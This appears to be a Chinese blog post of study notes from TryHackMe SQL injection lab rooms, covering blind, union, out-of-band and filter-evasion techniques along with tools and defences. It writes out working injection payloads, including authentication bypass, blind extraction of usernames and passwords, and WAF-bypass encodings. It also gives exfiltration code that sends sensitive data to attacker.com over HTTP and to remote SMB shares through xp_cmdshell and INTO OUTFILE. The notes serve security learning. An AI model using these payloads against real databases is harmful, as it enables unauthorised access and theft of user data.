tryhackme SQL注入

https://tryhackme.com/room/sqlinjectionlm
https://tryhackme.com/room/advancedsqlinjection
https://www.cnblogs.com/Hekeats-L/p/16936818.html
sqlmap https://www.cnblogs.com/Hekeats-L/p/17242186.html

SQL注入

带内SQL注入

基于错误的SQL注入
基于Union的SQL注入:1 UNION SELECT 1,2,3 ; 0 UNION SELECT 1,2,3

盲注 -- 身份认证绕过

' OR 1=1;--

盲注 -- 布尔

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'a%';--

admin123' UNION SELECT 1,2,3 FROM information_schema.COLUMNS WHERE TABLE_SCHEMA='sqli_three' and TABLE_NAME='users' and COLUMN_NAME like 'username' and COLUMN_NAME !='id';--

admin123' UNION SELECT 1,2,3 from users where username like 'a%';--

admin123' UNION SELECT 1,2,3 from users where username='admin' and password like 'a%';--

盲注 -- 时间

admin123' UNION SELECT SLEEP(5),2;--

admin123' UNION SELECT SLEEP(5),2 where database() like 'sqli_four';--

admin123' UNION SELECT SLEEP(5),2 from users where username like 'admin' and password like '4961';--

带外SQL注入

高级SQL注入

二阶SQL注入

过滤器逃逸

  • 字符编码

URL编码

' OR 1=1--
%27%20OR%201%3D1--  

十六进制编码

SELECT * FROM users WHERE name = 'admin'

SELECT * FROM users WHERE name = 0x61646d696e   绕过 'admin'

Unicode编码

admin

\u0061\u0064\u006d\u0069\u006e
  • 无引号SQL注入

使用数值(Numerical Values): OR 1=1 来代替注入 ' OR '1'='1

使用 SQL 注释符(SQL Comments): 例如,将输入 admin'-- 转换为 admin--

使用 CONCAT() 函数: 例如,CONCAT(0x61, 0x64, 0x6d, 0x69, 0x6e) 可以构造出字符串 admin

  • 禁止使用空格

使用注释替代空格
使用制表符或换行符:制表符(\t)或换行符(\n)
使用替代字符(URL 编码):%09(水平制表符 Tab)、%0A(换行符 LF)、%0C(换页符 FF)、%0D(回车符 CR)以及 %A0(不间断空格 NBSP)

带外SQL注入

MySQL and MariaDB:SELECT ... INTO OUTFILE or load_file

SELECT sensitive_data FROM users INTO OUTFILE '/tmp/out.txt';

Microsoft SQL Server (MSSQL):OPENROWSET 与 BULK INSERT 导入/导出外部数据或读取远程文件的内置函数和命令

EXEC xp_cmdshell 'bcp "SELECT sensitive_data FROM users" queryout "\\10.10.58.187\logs\out.txt" -c -T';

Oracle:UTL_HTTP or UTL_FILE

 DECLARE
  req UTL_HTTP.REQ;
  resp UTL_HTTP.RESP;
BEGIN
  req := UTL_HTTP.BEGIN_REQUEST('http://attacker.com/exfiltrate?sensitive_data=' || sensitive_data);
  UTL_HTTP.GET_RESPONSE(req);
END;

HTTP 请求:外部脚本或用户自定义函数(UDF, User Defined Functions)来实现

SELECT http_post('http://attacker.com/exfiltrate', sensitive_data) FROM books;

DNS 数据外泄
利用 SQL 查询生成携带编码数据的 DNS 请求,这些数据会被发送到由攻击者控制的恶意 DNS 服务器
MySQL 本身并不原生支持仅通过 SQL 命令来生成 DNS 请求,因此攻击者可能会借助其他方式(例如自定义用户定义函数 UDF,或系统级脚本)来执行 DNS 查询

SMB 外带泄露
查询结果写入外部服务器上的 SMB 共享目录

SELECT sensitive_data INTO OUTFILE '\\\\10.10.162.175\\logs\\out.txt';

其他技术

HTTP 头注入:如 User-Agent、Referer 或 X-Forwarded-For
利用存储过程:存储过程是预编译的 SQL 语句,可作为单一单元执行
XML 与 JSON 注入:直接把解析出的值拼接进 SQL 语句

自动化

几款重要工具
SQLMap:https://github.com/sqlmapproject/sqlmap
SQLNinja:以 Microsoft SQL Server 为后端数据库 的 Web 应用 SQL 注入漏洞的工具
https://github.com/xxgrunge/sqlninja
JSQL Injection:专注于在 Java 应用中检测 SQL 注入漏洞的 Java 库
https://github.com/ron190/jsql-injection
BBQSQL:BQSQL 是一个盲注(Blind SQL Injection)利用框架
https://github.com/CiscoCXSecurity/bbqsql

最佳实践

  • 安全开发人员

参数化查询与预处理语句
输入验证与净化
最小权限原则
存储过程
定期安全审计与代码审查

  • 渗透测试人员

利用数据库特有特性:各自独特的特性与语法
借助错误信息:1' AND 1=CONVERT(int, (SELECT @@version)) --
绕过 WAF 与过滤器:大小写混合(SeLeCt);拼接函数(CONCAT(CHAR(83), CHAR(69), CHAR(76), CHAR(69), CHAR(84)));替代编码(十六进制、URL 编码);内联注释(/**/);不同的字符编码(如 %09、%0A)。
数据库指纹识别:SELECT version();SELECT @@version
借助 SQL 注入进行横向移动:涉及提取凭据,漏洞等

posted @ 2026-08-24 17:29  sec875  阅读(1)  评论(0)    收藏  举报